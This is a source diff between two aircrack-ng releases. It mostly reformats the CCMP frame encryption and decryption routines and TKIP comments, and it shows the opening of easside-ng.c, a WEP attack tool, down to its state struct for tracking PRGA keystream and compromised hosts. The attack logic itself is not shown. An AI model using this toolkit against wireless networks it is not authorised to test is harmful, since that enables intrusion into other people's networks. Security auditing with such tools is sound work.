-            B0[1] = 0;                      //  B0[     1] = CCM Nonce flags
-            AAD[1] = 22 + 6;                // AAD[ 0.. 1] = l(a)
-        }
-    }
-    else
-    {
-        if( is_qos )
-        {
-            AAD[24] = h80211[z - 2] & 0x0F; // AAD[24..25] = QC
-            AAD[25] = 0;                    //
-            B0[1] = AAD[24];                //  B0[     1] = CCM Nonce flags
-            AAD[1] = 22 + 2;                // AAD[ 0.. 1] = l(a)
-        }
-        else
-        {
-            memset(&AAD[24], 0, 2);         // AAD[24..25] = QC
-            B0[1] = 0;                      //  B0[     1] = CCM Nonce flags
-            AAD[1] = 22;                    // AAD[ 0.. 1] = l(a)
-        }
-    }
-
-    AES_set_encrypt_key( TK1, 128, &aes_ctx );
-    AES_encrypt( B0, MIC, &aes_ctx );       // X_1 := E( K, B_0 )
-    XOR( MIC, AAD, 16 );                    // X_2 := E( K, X_1 XOR B_1 )
-    AES_encrypt( MIC, MIC, &aes_ctx );      //
-    XOR( MIC, AAD + 16, 16 );               // X_3 := E( K, X_2 XOR B_2 )
-    AES_encrypt( MIC, MIC, &aes_ctx );      //
-
-    // A_i := B0
-    //        B0[     0] = Flags
-    //        B0[ 1..13] = Nonce := CCM Nonce
-    //        B0[14..15] = i
-    B0[0] &= 0x07;
-    B0[14] = B0[15] = 0;
-    AES_encrypt( B0, B, &aes_ctx );         // S_0 := E( K, A_i )
-    memcpy( h80211+z+8+data_len, B, 8 );
-    //      ^^^^^^^^^^^^^^^^^^^  ^
-    //      S_0[0..7]/future U   S_0
-
-    blocks = ( data_len + 16 - 1 ) / 16;
-    last = data_len % 16;
-    offset = z + 8;
-
-    for( i = 1; i <= blocks; i++ )
-    {
-        n = ( last > 0 && i == blocks ) ? last : 16;
-
-        XOR( MIC, h80211 + offset, n );     // X_i+3 := E( K, X_i+2 XOR B_i+2 )
-        AES_encrypt( MIC, MIC, &aes_ctx );  //
-        //    (X_i+2 ^^^)(^^^ X_i+3)
-
-        // The message is encrypted by XORing the octets of message m with the
-        // first l(m) octets of the concatenation of S_1, S_2, S_3, ... .
-        B0[14] = ( i >> 8 ) & 0xFF;         // A_i[14..15] = i
-        B0[15] =   i & 0xFF;                //
-        AES_encrypt( B0, B, &aes_ctx );     // S_i := E( K, A_i )
-        XOR( h80211 + offset, B, n );
-        // [B_3, ..., B_n] := m
-
-        offset += n;
-    }
-
-    // We need to free the ctx when using gcrypt to avoid memory leaks
-    #ifdef USE_GCRYPT
-        gcry_cipher_close(aes_ctx);
-    #endif
-
-    // T :=     X_i+3[ 0.. 7]
-    // U := T XOR S_0[ 0.. 7]
-    XOR( h80211+offset, MIC, 8 );
-    return z+8+data_len+8;
+	int is_a4, i, z, blocks, is_qos;
+	int data_len, last, offset;
+	unsigned char B0[16], B[16], MIC[16];
+	unsigned char AAD[32];
+	AES_KEY aes_ctx;
+
+	is_a4 = (h80211[1] & 3) == 3;
+	is_qos = (h80211[0] & 0x8C) == 0x88;
+	z = 24 + 6 * is_a4;
+	z += 2 * is_qos;
+
+	// Insert CCMP header
+	memmove(h80211 + z + 8, h80211 + z, (size_t) caplen - z);
+	h80211[z + 0] = PN[5];
+	h80211[z + 1] = PN[4];
+	h80211[z + 2] = 0x00; // Reserved -> 0
+	h80211[z + 3] = 0x20; // ExtIV=1, KeyID=0
+	h80211[z + 4] = PN[3];
+	h80211[z + 5] = PN[2];
+	h80211[z + 6] = PN[1];
+	h80211[z + 7] = PN[0];
+
+	data_len = caplen - z;
+
+	// B_0 := B0
+	B0[0] = 0x59; // Flags
+	B0[1] = 0; // Nonce := CCM Nonce: - Nonce flags
+	memcpy(B0 + 2, h80211 + 10, 6); //                     - A2
+	memcpy(B0 + 8, PN, 6); //                     - PN
+	B0[14] = (uint8_t)((data_len >> 8) & 0xFF); // l(m)
+	B0[15] = (uint8_t)(data_len & 0xFF); // l(m)
+
+	// B_1 := AAD[ 0..15]
+	// B_2 := AAD[16..31]
+	//        AAD[ 0.. 1] = l(a)
+	//        AAD[ 2..31] = a
+	memset(AAD, 0, sizeof(AAD));
+	AAD[2] = (uint8_t)(h80211[0] & 0x8F); // AAD[2..3]  = FC
+	AAD[3] = (uint8_t)(h80211[1] & 0xC7); //
+	memcpy(AAD + 4, h80211 + 4, 3 * 6); // AAD[4..21] = [A1,A2,A3]
+	AAD[22] = (uint8_t)(h80211[22] & 0x0F); // AAD[22]    = SC
+
+	if (is_a4)
+	{
+		memcpy(AAD + 24, h80211 + 24, 6); // AAD[24..29] = A4
+
+		if (is_qos)
+		{
+			AAD[30] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[30..31] = QC
+			AAD[31] = 0; //
+			B0[1] = AAD[30]; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 2 + 6; // AAD[ 0.. 1] = l(a)
+		}
+		else
+		{
+			memset(&AAD[30], 0, 2); // AAD[30..31] = QC
+			B0[1] = 0; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 6; // AAD[ 0.. 1] = l(a)
+		}
+	}
+	else
+	{
+		if (is_qos)
+		{
+			AAD[24] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[24..25] = QC
+			AAD[25] = 0; //
+			B0[1] = AAD[24]; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 2; // AAD[ 0.. 1] = l(a)
+		}
+		else
+		{
+			memset(&AAD[24], 0, 2); // AAD[24..25] = QC
+			B0[1] = 0; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22; // AAD[ 0.. 1] = l(a)
+		}
+	}
+
+	AES_set_encrypt_key(TK1, 128, &aes_ctx);
+	AES_encrypt(B0, MIC, &aes_ctx); // X_1 := E( K, B_0 )
+	XOR(MIC, AAD, 16); // X_2 := E( K, X_1 XOR B_1 )
+	AES_encrypt(MIC, MIC, &aes_ctx); //
+	XOR(MIC, AAD + 16, 16); // X_3 := E( K, X_2 XOR B_2 )
+	AES_encrypt(MIC, MIC, &aes_ctx); //
+
+	// A_i := B0
+	//        B0[     0] = Flags
+	//        B0[ 1..13] = Nonce := CCM Nonce
+	//        B0[14..15] = i
+	B0[0] &= 0x07;
+	B0[14] = B0[15] = 0;
+	AES_encrypt(B0, B, &aes_ctx); // S_0 := E( K, A_i )
+	memcpy(h80211 + z + 8 + data_len, B, 8);
+	//      ^^^^^^^^^^^^^^^^^^^  ^
+	//      S_0[0..7]/future U   S_0
+
+	blocks = (data_len + 16 - 1) / 16;
+	last = data_len % 16;
+	offset = z + 8;
+
+	for (i = 1; i <= blocks; i++)
+	{
+		int n = (last > 0 && i == blocks) ? last : 16;
+
+		XOR(MIC, h80211 + offset, n); // X_i+3 := E( K, X_i+2 XOR B_i+2 )
+		AES_encrypt(MIC, MIC, &aes_ctx); //
+		//    (X_i+2 ^^^)(^^^ X_i+3)
+
+		// The message is encrypted by XORing the octets of message m with the
+		// first l(m) octets of the concatenation of S_1, S_2, S_3, ... .
+		B0[14] = (uint8_t)((i >> 8) & 0xFF); // A_i[14..15] = i
+		B0[15] = (uint8_t)(i & 0xFF); //
+		AES_encrypt(B0, B, &aes_ctx); // S_i := E( K, A_i )
+		XOR(h80211 + offset, B, n);
+		// [B_3, ..., B_n] := m
+
+		offset += n;
+	}
+
+// We need to free the ctx when using gcrypt to avoid memory leaks
+#ifdef USE_GCRYPT
+	gcry_cipher_close(aes_ctx);
+#endif
+
+	// T :=     X_i+3[ 0.. 7]
+	// U := T XOR S_0[ 0.. 7]
+	XOR(h80211 + offset, MIC, 8);
+	return z + 8 + data_len + 8;
 }
 
-int decrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16] )
+int decrypt_ccmp(unsigned char * h80211, int caplen, unsigned char TK1[16])
 {
-    int is_a4, i, n, z, blocks, is_qos;
-    int data_len, last, offset;
-    unsigned char B0[16], B[16], MIC[16];
-    unsigned char PN[6], AAD[32];
-    AES_KEY aes_ctx;
-
-    is_a4 = ( h80211[1] & 3 ) == 3;
-    is_qos = ( h80211[0] & 0x8C ) == 0x88;
-    z = 24 + 6 * is_a4;
-    z += 2 * is_qos;
-
-    PN[0] = h80211[z + 7];
-    PN[1] = h80211[z + 6];
-    PN[2] = h80211[z + 5];
-    PN[3] = h80211[z + 4];
-    PN[4] = h80211[z + 1];
-    PN[5] = h80211[z + 0];
-
-    data_len = caplen - z - 8 - 8;
-
-    // B_0 := B0
-    B0[0] = 0x59;                      // Flags
-    B0[1] = 0;                         // Nonce := CCM Nonce: - Nonce flags
-    memcpy( B0 + 2, h80211 + 10, 6 );  //                     - A2
-    memcpy( B0 + 8, PN, 6 );           //                     - PN
-    B0[14] = ( data_len >> 8 ) & 0xFF; // l(m)
-    B0[15] = ( data_len & 0xFF );      // l(m)
-
-    // B_1 := AAD[ 0..15]
-    // B_2 := AAD[16..31]
-    //        AAD[ 0.. 1] = l(a)
-    //        AAD[ 2..31] = a
-    memset( AAD, 0, sizeof( AAD ) );
-    AAD[2] = h80211[0] & 0x8F;              // AAD[2..3]  = FC
-    AAD[3] = h80211[1] & 0xC7;              //
-    memcpy( AAD + 4, h80211 + 4, 3 * 6 );   // AAD[4..21] = [A1,A2,A3]
-    AAD[22] = h80211[22] & 0x0F;            // AAD[22]    = SC
-    
-    if( is_a4 ) 
-    {
-        memcpy( AAD + 24, h80211 + 24, 6 ); // AAD[24..29] = A4
-        
-        if( is_qos ) 
-        {
-            AAD[30] = h80211[z - 2] & 0x0F; // AAD[30..31] = QC
-            AAD[31] = 0;                    //
-            B0[1] = AAD[30];                //  B0[     1] = CCM Nonce flags
-            AAD[1] = 22 + 2 + 6;            // AAD[ 0.. 1] = l(a)
-        } 
-        else 
-        {
-            memset(&AAD[30], 0, 2);         // AAD[30..31] = QC
-            B0[1] = 0;                      //  B0[     1] = CCM Nonce flags
-            AAD[1] = 22 + 6;                // AAD[ 0.. 1] = l(a)
-        }
-    } 
-    else 
-    {
-        if( is_qos ) 
-        {
-            AAD[24] = h80211[z - 2] & 0x0F; // AAD[24..25] = QC
-            AAD[25] = 0;                    //
-            B0[1] = AAD[24];                //  B0[     1] = CCM Nonce flags
-            AAD[1] = 22 + 2;                // AAD[ 0.. 1] = l(a)
-        }
-        else
-        {
-            memset(&AAD[24], 0, 2);         // AAD[24..25] = QC
-            B0[1] = 0;                      //  B0[     1] = CCM Nonce flags
-            AAD[1] = 22;                    // AAD[ 0.. 1] = l(a)
-        }
-    }
-
-    AES_set_encrypt_key( TK1, 128, &aes_ctx );
-    AES_encrypt( B0, MIC, &aes_ctx );       // X_1 := E( K, B_0 )
-    XOR( MIC, AAD, 16 );                    // X_2 := E( K, X_1 XOR B_1 )
-    AES_encrypt( MIC, MIC, &aes_ctx );      //
-    XOR( MIC, AAD + 16, 16 );               // X_3 := E( K, X_2 XOR B_2 )
-    AES_encrypt( MIC, MIC, &aes_ctx );      //
-
-    // A_i := B0
-    //        B0[     0] = Flags
-    //        B0[ 1..13] = Nonce := CCM Nonce
-    //        B0[14..15] = i
-    B0[0] &= 0x07;
-    B0[14] = B0[15] = 0;
-    AES_encrypt( B0, B, &aes_ctx );         // S_0 := E( K, A_i )
-    XOR( h80211 + caplen - 8, B, 8 );       // T   := U XOR S_0[0..7]
-    //   ^^^^^^^^^^^^^^^      ^
-    //     U:=MIC -> T       S_0
-
-    blocks = ( data_len + 16 - 1 ) / 16;
-    last = data_len % 16;
-    offset = z + 8;
-
-    for( i = 1; i <= blocks; i++ )
-    {
-        n = ( last > 0 && i == blocks ) ? last : 16;
-
-        B0[14] = ( i >> 8 ) & 0xFF;         // A_i[14..15] = i
-        B0[15] =   i & 0xFF;                //
-
-        AES_encrypt( B0, B, &aes_ctx );     // S_i := E( K, A_i )
-        // The message is encrypted by XORing the octets of message m with the
-        // first l(m) octets of the concatenation of S_1, S_2, S_3, ... .
-        XOR( h80211 + offset, B, n );
-        // [B_3, ..., B_n] := m
-        XOR( MIC, h80211 + offset, n );     // X_i+3 := E( K, X_i+2 XOR B_i+2 )
-        AES_encrypt( MIC, MIC, &aes_ctx );  //
-        //    (X_i+2 ^^^)(^^^ X_i+3)
-
-        offset += n;
-    }
-
-    // We need to free the ctx when using gcrypt to avoid memory leaks
-    #ifdef USE_GCRYPT
-        gcry_cipher_close(aes_ctx);
-    #endif
-
-    // T := X_n[ 0.. 7]
-    // Note: Decryption is succesful if calculated T is the same as the one
-    //       that was sent with the message.
-    return( memcmp( h80211 + offset, MIC, 8 ) == 0 );
+	int is_a4, i, z, blocks, is_qos;
+	int data_len, last, offset;
+	unsigned char B0[16], B[16], MIC[16];
+	unsigned char PN[6], AAD[32];
+	AES_KEY aes_ctx;
+
+	is_a4 = (h80211[1] & 3) == 3;
+	is_qos = (h80211[0] & 0x8C) == 0x88;
+	z = 24 + 6 * is_a4;
+	z += 2 * is_qos;
+
+	PN[0] = h80211[z + 7];
+	PN[1] = h80211[z + 6];
+	PN[2] = h80211[z + 5];
+	PN[3] = h80211[z + 4];
+	PN[4] = h80211[z + 1];
+	PN[5] = h80211[z + 0];
+
+	data_len = caplen - z - 8 - 8;
+
+	// B_0 := B0
+	B0[0] = 0x59; // Flags
+	B0[1] = 0; // Nonce := CCM Nonce: - Nonce flags
+	memcpy(B0 + 2, h80211 + 10, 6); //                     - A2
+	memcpy(B0 + 8, PN, 6); //                     - PN
+	B0[14] = (uint8_t)((data_len >> 8) & 0xFF); // l(m)
+	B0[15] = (uint8_t)(data_len & 0xFF); // l(m)
+
+	// B_1 := AAD[ 0..15]
+	// B_2 := AAD[16..31]
+	//        AAD[ 0.. 1] = l(a)
+	//        AAD[ 2..31] = a
+	memset(AAD, 0, sizeof(AAD));
+	AAD[2] = (uint8_t)(h80211[0] & 0x8F); // AAD[2..3]  = FC
+	AAD[3] = (uint8_t)(h80211[1] & 0xC7); //
+	memcpy(AAD + 4, h80211 + 4, 3 * 6); // AAD[4..21] = [A1,A2,A3]
+	AAD[22] = (uint8_t)(h80211[22] & 0x0F); // AAD[22]    = SC
+
+	if (is_a4)
+	{
+		memcpy(AAD + 24, h80211 + 24, 6); // AAD[24..29] = A4
+
+		if (is_qos)
+		{
+			AAD[30] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[30..31] = QC
+			AAD[31] = 0; //
+			B0[1] = AAD[30]; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 2 + 6; // AAD[ 0.. 1] = l(a)
+		}
+		else
+		{
+			memset(&AAD[30], 0, 2); // AAD[30..31] = QC
+			B0[1] = 0; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 6; // AAD[ 0.. 1] = l(a)
+		}
+	}
+	else
+	{
+		if (is_qos)
+		{
+			AAD[24] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[24..25] = QC
+			AAD[25] = 0; //
+			B0[1] = AAD[24]; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22 + 2; // AAD[ 0.. 1] = l(a)
+		}
+		else
+		{
+			memset(&AAD[24], 0, 2); // AAD[24..25] = QC
+			B0[1] = 0; //  B0[     1] = CCM Nonce flags
+			AAD[1] = 22; // AAD[ 0.. 1] = l(a)
+		}
+	}
+
+	AES_set_encrypt_key(TK1, 128, &aes_ctx);
+	AES_encrypt(B0, MIC, &aes_ctx); // X_1 := E( K, B_0 )
+	XOR(MIC, AAD, 16); // X_2 := E( K, X_1 XOR B_1 )
+	AES_encrypt(MIC, MIC, &aes_ctx); //
+	XOR(MIC, AAD + 16, 16); // X_3 := E( K, X_2 XOR B_2 )
+	AES_encrypt(MIC, MIC, &aes_ctx); //
+
+	// A_i := B0
+	//        B0[     0] = Flags
+	//        B0[ 1..13] = Nonce := CCM Nonce
+	//        B0[14..15] = i
+	B0[0] &= 0x07;
+	B0[14] = B0[15] = 0;
+	AES_encrypt(B0, B, &aes_ctx); // S_0 := E( K, A_i )
+	XOR(h80211 + caplen - 8, B, 8); // T   := U XOR S_0[0..7]
+	//   ^^^^^^^^^^^^^^^      ^
+	//     U:=MIC -> T       S_0
+
+	blocks = (data_len + 16 - 1) / 16;
+	last = data_len % 16;
+	offset = z + 8;
+
+	for (i = 1; i <= blocks; i++)
+	{
+		int n = (last > 0 && i == blocks) ? last : 16;
+
+		B0[14] = (uint8_t)((i >> 8) & 0xFF); // A_i[14..15] = i
+		B0[15] = (uint8_t)(i & 0xFF); //
+
+		AES_encrypt(B0, B, &aes_ctx); // S_i := E( K, A_i )
+		// The message is encrypted by XORing the octets of message m with the
+		// first l(m) octets of the concatenation of S_1, S_2, S_3, ... .
+		XOR(h80211 + offset, B, n);
+		// [B_3, ..., B_n] := m
+		XOR(MIC, h80211 + offset, n); // X_i+3 := E( K, X_i+2 XOR B_i+2 )
+		AES_encrypt(MIC, MIC, &aes_ctx); //
+		//    (X_i+2 ^^^)(^^^ X_i+3)
+
+		offset += n;
+	}
+
+// We need to free the ctx when using gcrypt to avoid memory leaks
+#ifdef USE_GCRYPT
+	gcry_cipher_close(aes_ctx);
+#endif
+
+	// T := X_n[ 0.. 7]
+	// Note: Decryption is successful if calculated T is the same as the one
+	//       that was sent with the message.
+	return (memcmp(h80211 + offset, MIC, 8) == 0);
 }
 
 /*
@@ -1482,78 +1623,83 @@
 // void Phase1(u16b *P1K,const byte *TK,const byte *TA,u32b IV32)
 //         {
 //         int  i;
-//         /* Initialize the 80 bits of P1K[] from IV32 and TA[0..5]                 */
+//         /* Initialize the 80 bits of P1K[] from IV32 and TA[0..5] */
 //         P1K[0]      = Lo16(IV32);
 //         P1K[1]      = Hi16(IV32);
 //         P1K[2]      = Mk16(TA[1],TA[0]); /* use TA[] as little-endian */
 //         P1K[3]      = Mk16(TA[3],TA[2]);
 //         P1K[4]      = Mk16(TA[5],TA[4]);
-//         /* Now compute an unbalanced Feistel cipher with 80-bit block             */
-//         /* size on the 80-bit block P1K[], using the 128-bit key TK[]             */
+//         /* Now compute an unbalanced Feistel cipher with 80-bit block */
+//         /* size on the 80-bit block P1K[], using the 128-bit key TK[] */
 //         for (i=0; i < PHASE1_LOOP_CNT ;i++)
-//             {                 /* Each add operation here is mod 2**16             */
+//             {                 /* Each add operation here is mod 2**16 */
 //             P1K[0] += _S_(P1K[4] ^ TK16((i&1)+0));
 //             P1K[1] += _S_(P1K[0] ^ TK16((i&1)+2));
 //             P1K[2] += _S_(P1K[1] ^ TK16((i&1)+4));
 //             P1K[3] += _S_(P1K[2] ^ TK16((i&1)+6));
 //             P1K[4] += _S_(P1K[3] ^ TK16((i&1)+0));
-//             P1K[4] += i;                     /* avoid "slide attacks"             */
+//             P1K[4] += i;                     /* avoid "slide attacks" */
 //             }
 //         }
-    /*
-    **********************************************************************
-    * Routine: Phase 2 -- generate RC4KEY, given TK, P1K, IV16
-    *
-    * Inputs:
-    *       TK[]      = Temporal Key                              [128 bits]
-    *       P1K[]     = Phase 1 output key                        [ 80 bits]
-    *       IV16      = low 16 bits of IV counter                 [ 16 bits]
-    * Output:
-    *       RC4KEY[] = the key used to encrypt the frame          [128 bits]
-    *
-    * Note:
-    *       The value {TA,IV32,IV16} for Phase1/Phase2 must be unique
-    *       across all frames using the same key TK value. Then, for a
-    *       given value of TK[], this TKIP48 construction guarantees that
-    *       the final RC4KEY value is unique across all frames.
-    *
-    * Suggested implementation optimization: if PPK[] is "overlaid"
-    *       appropriately on RC4KEY[], there is no need for the final
-    *       for loop below that copies the PPK[] result into RC4KEY[].
-    *
-    **********************************************************************
-    */
+/*
+	**********************************************************************
+	* Routine: Phase 2 -- generate RC4KEY, given TK, P1K, IV16
+	*
+	* Inputs:
+	*       TK[]      = Temporal Key                              [128 bits]
+	*       P1K[]     = Phase 1 output key                        [ 80 bits]
+	*       IV16      = low 16 bits of IV counter                 [ 16 bits]
+	* Output:
+	*       RC4KEY[] = the key used to encrypt the frame          [128 bits]
+	*
+	* Note:
+	*       The value {TA,IV32,IV16} for Phase1/Phase2 must be unique
+	*       across all frames using the same key TK value. Then, for a
+	*       given value of TK[], this TKIP48 construction guarantees that
+	*       the final RC4KEY value is unique across all frames.
+	*
+	* Suggested implementation optimization: if PPK[] is "overlaid"
+	*       appropriately on RC4KEY[], there is no need for the final
+	*       for loop below that copies the PPK[] result into RC4KEY[].
+	*
+	**********************************************************************
+	*/
 //     void Phase2(byte *RC4KEY,const byte *TK,const u16b *P1K,u16b IV16)
 //         {
 //         int i;
-//         u16b PPK[6];                        /* temporary key for mixing                  */
-//         /* all adds in the PPK[] equations below are mod 2**16                     */
-//         for (i=0;i<5;i++) PPK[i]=P1K[i];    /* first, copy P1K to PPK                    */
-//         PPK[5] = P1K[4] + IV16;             /* next, add in IV16                         */
-//         /* Bijective non-linear mixing of the 96 bits of PPK[0..5]                       */
-//         PPK[0] +=    _S_(PPK[5] ^ TK16(0)); /* Mix key in each "round"                   */
+//         u16b PPK[6];                        /* temporary key for mixing */
+//         /* all adds in the PPK[] equations below are mod 2**16 */
+//         for (i=0;i<5;i++) PPK[i]=P1K[i];    /* first, copy P1K to PPK */
+//         PPK[5] = P1K[4] + IV16;             /* next, add in IV16 */
+//         /* Bijective non-linear mixing of the 96 bits of PPK[0..5] */
+//         PPK[0] +=    _S_(PPK[5] ^ TK16(0)); /* Mix key in each "round" */
 //         PPK[1] +=    _S_(PPK[0] ^ TK16(1));
 //         PPK[2] +=    _S_(PPK[1] ^ TK16(2));
 //         PPK[3] +=            _S_(PPK[2] ^ TK16(3));
 //         PPK[4] +=            _S_(PPK[3] ^ TK16(4));
-//         PPK[5] +=            _S_(PPK[4] ^ TK16(5)); /* Total # S-box lookups == 6        */
-//         /* Final sweep: bijective, linear. Rotates kill LSB correlations                 */
+//         PPK[5] +=            _S_(PPK[4] ^ TK16(5)); /* Total # S-box lookups
+//         == 6        */
+//         /* Final sweep: bijective, linear. Rotates kill LSB correlations */
 //         PPK[0] += RotR1(PPK[5] ^ TK16(6));
-//         PPK[1] += RotR1(PPK[0] ^ TK16(7)); /* Use all of TK[] in Phase2                  */
+//         PPK[1] += RotR1(PPK[0] ^ TK16(7)); /* Use all of TK[] in Phase2 */
 //         PPK[2] += RotR1(PPK[1]);
 //         PPK[3] += RotR1(PPK[2]);
 //         PPK[4] += RotR1(PPK[3]);
 //         PPK[5] += RotR1(PPK[4]);
 //         /* At this point, for a given key TK[0..15], the 96-bit output */
-//         /*        value PPK[0..5] is guaranteed to be unique, as a function              */
-//         /*        of the 96-bit "input" value         {TA,IV32,IV16}. That is, P1K       */
-//         /*        is now a keyed permutation of {TA,IV32,IV16}.                          */
-//         /* Set RC4KEY[0..3], which includes cleartext portion of RC4 key                 */
-//         RC4KEY[0] = Hi8(IV16);                      /* RC4KEY[0..2] is the WEP IV        */
-//         RC4KEY[1] =(Hi8(IV16) | 0x20) & 0x7F; /* Help avoid FMS weak keys                */
+//         /*        value PPK[0..5] is guaranteed to be unique, as a function
+//         */
+//         /*        of the 96-bit "input" value         {TA,IV32,IV16}. That
+//         is, P1K       */
+//         /*        is now a keyed permutation of {TA,IV32,IV16}. */
+//         /* Set RC4KEY[0..3], which includes cleartext portion of RC4 key */
+//         RC4KEY[0] = Hi8(IV16);                      /* RC4KEY[0..2] is the
+//         WEP IV        */
+//         RC4KEY[1] =(Hi8(IV16) | 0x20) & 0x7F; /* Help avoid FMS weak keys */
 //         RC4KEY[2] = Lo8(IV16);
 //         RC4KEY[3] = Lo8((PPK[5] ^ TK16(0)) >> 1);
-//         /* Copy 96 bits of PPK[0..5] to RC4KEY[4..15]          (little-endian)            */
+//         /* Copy 96 bits of PPK[0..5] to RC4KEY[4..15]
+//         (little-endian)            */
 //         for (i=0;i<6;i++)
 //             {
 //             RC4KEY[4+2*i] = Lo8(PPK[i]);

aircrack-ng-1.2-rc4.tar.gz/src/crypto.h -> aircrack-ng-1.4.tar.gz/src/crypto.h Changed

aircrack-ng-1.2-rc4.tar.gz/src/easside-ng.c -> aircrack-ng-1.4.tar.gz/src/easside-ng.c Changed

@@ -1,4 +1,4 @@
- /*
+/*
   *  Copyright (c) 2007-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
   *
   *  This program is free software; you can redistribute it and/or modify
@@ -13,7 +13,7 @@
   *
   *  You should have received a copy of the GNU General Public License
   *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
   */
 
 #include <stdio.h>
@@ -43,34 +43,33 @@
 #include <netinet/udp.h>
 #undef __FAVOR_BSD
 
-#include "osdep/osdep.h"
+#include "aircrack-osdep/osdep.h"
 #include "ieee80211.h"
 #include "easside.h"
 #include "if_arp.h"
 #include "ethernet.h"
 #include "version.h"
-#include "osdep/byteorder.h"
+#include "aircrack-osdep/byteorder.h"
 
+#define S_MTU 1500
+#define S_MCAST "\x01\x00\x5e\x01\x00"
+#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
+#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
+#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
+#define S_PRGA_LOG "prga.log"
+#define S_OWN_LOG "own.log"
+#define S_MIN_RTO 10
 
-#define S_MTU		1500
-#define S_MCAST		"\x01\x00\x5e\x01\x00"
-#define S_LLC_SNAP	"\xAA\xAA\x03\x00\x00\x00"
-#define S_LLC_SNAP_ARP	(S_LLC_SNAP "\x08\x06")
-#define S_LLC_SNAP_IP	(S_LLC_SNAP "\x08\x00")
-#define S_PRGA_LOG	"prga.log"
-#define S_OWN_LOG	"own.log"
-#define S_MIN_RTO	10
-
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-
-enum {
+enum
+{
 	S_SEARCHING = 0,
 	S_SENDAUTH,
 	S_SENDASSOC,
 	S_ASSOCIATED
 };
 
-enum {
+enum
+{
 	AS_NOPRGA = 0,
 	AS_PRGA_EXPAND,
 	AS_FIND_IP,
@@ -81,144 +80,150 @@
 	AS_REDIRECT
 };
 
-struct rpacket {
-	unsigned char	rp_packet[2048];
-	int		rp_len;
-	int		rp_id;
-	struct rpacket	*rp_next;
+struct rpacket
+{
+	unsigned char rp_packet[2048];
+	int rp_len;
+	int rp_id;
+	struct rpacket * rp_next;
 };
 
-struct owned {
-	unsigned char	ow_mac[6];
-	struct owned	*ow_next;
+struct owned
+{
+	unsigned char ow_mac[6];
+	struct owned * ow_next;
 };
 
-struct east_state {
+struct east_state
+{
 	/* conf & params */
-	char		es_ifname[256];
-	unsigned char	es_mymac[6];
-	int		es_setmac;
-	int		es_iponly;
-	struct wif	*es_wi;
-	char		es_tapname[16];
-	struct tif	*es_ti;
-	unsigned int	es_hopfreq;
-	int		es_txto_mgt;
-	int		es_txto_expand;
-	int		es_expand_factor;
-	int		es_txto_decrypt;
-	int		es_port;
-	int		es_udp_port;
-	int		es_txto_whohas;
-	int		es_txto_checkinet;
-	int		es_txto_redirect;
-	unsigned char	es_clear[S_MTU+4];
-	struct rpacket	*es_rqueue;
-	struct owned	*es_owned;
-	int		es_chanlock;
+	char es_ifname[256];
+	unsigned char es_mymac[6];
+	int es_setmac;
+	int es_iponly;
+	struct wif * es_wi;
+	char es_tapname[16];
+	struct tif * es_ti;
+	unsigned int es_hopfreq;
+	int es_txto_mgt;
+	int es_txto_expand;
+	int es_expand_factor;
+	int es_txto_decrypt;
+	int es_port;
+	int es_udp_port;
+	int es_txto_whohas;
+	int es_txto_checkinet;
+	int es_txto_redirect;
+	unsigned char es_clear[S_MTU + 4];
+	struct rpacket * es_rqueue;
+	struct owned * es_owned;
+	int es_chanlock;
 
 	/* state */
-	unsigned char	es_apmac[6];
-	int		es_apchan;
-	char		es_apssid[256];
-	int		es_state;
-	struct timeval	es_lasthop;
-	int		es_txseq;
-	struct timeval	es_txlast;
-	unsigned char	es_prga[S_MTU+4];
-	unsigned char	*es_clearp;
-	unsigned char	*es_clearpnext;
-	int		es_prgalen;
-	unsigned char	es_iv[3];
-	int		es_expand_num;
-	int		es_expand_len;
-	int		es_txack;
-	unsigned char	es_prga_d[S_MTU+4];
-	int		es_prga_dlen;
-	unsigned char	es_prga_div[3];
-	unsigned char	es_packet[2048];
-	int		es_have_packet;
-	int		es_have_src;
-	unsigned char	es_packet_arp[2048];
-	int		es_have_arp;
-	struct in_addr	es_myip;
-	struct in_addr	es_rtrip;
-	struct in_addr	es_pubip;
-	unsigned char	es_rtrmac[6];
-	struct in_addr	es_srvip;
-	int		es_buddys;
-	unsigned short	es_rpacket_id;
-	struct timeval	es_rtt;
-	unsigned short	es_rtt_id;
-	int		es_srtt;
-	int		es_rxseq;
-	int		es_astate;
+	unsigned char es_apmac[6];
+	int es_apchan;
+	char es_apssid[256];
+	int es_state;
+	struct timeval es_lasthop;
+	int es_txseq;
+	struct timeval es_txlast;
+	unsigned char es_prga[S_MTU + 4];
+	unsigned char * es_clearp;
+	unsigned char * es_clearpnext;
+	int es_prgalen;
+	unsigned char es_iv[3];
+	int es_expand_num;
+	int es_expand_len;
+	int es_txack;
+	unsigned char es_prga_d[S_MTU + 4];
+	int es_prga_dlen;
+	unsigned char es_prga_div[3];
+	unsigned char es_packet[2048];
+	int es_have_packet;
+	int es_have_src;
+	unsigned char es_packet_arp[2048];
+	int es_have_arp;
+	struct in_addr es_myip;
+	struct in_addr es_rtrip;
+	struct in_addr es_pubip;
+	unsigned char es_rtrmac[6];
+	struct in_addr es_srvip;
+	int es_buddys;
+	unsigned short es_rpacket_id;
+	struct timeval es_rtt;
+	unsigned short es_rtt_id;
+	int es_srtt;
+	int es_rxseq;
+	int es_astate;
 };
 
 static struct east_state _es;
 
-void printf_time(char *fmt, ...)
+static void printf_time(char * fmt, ...)
 {
 	va_list ap;
 	struct timeval now;
 	time_t t;
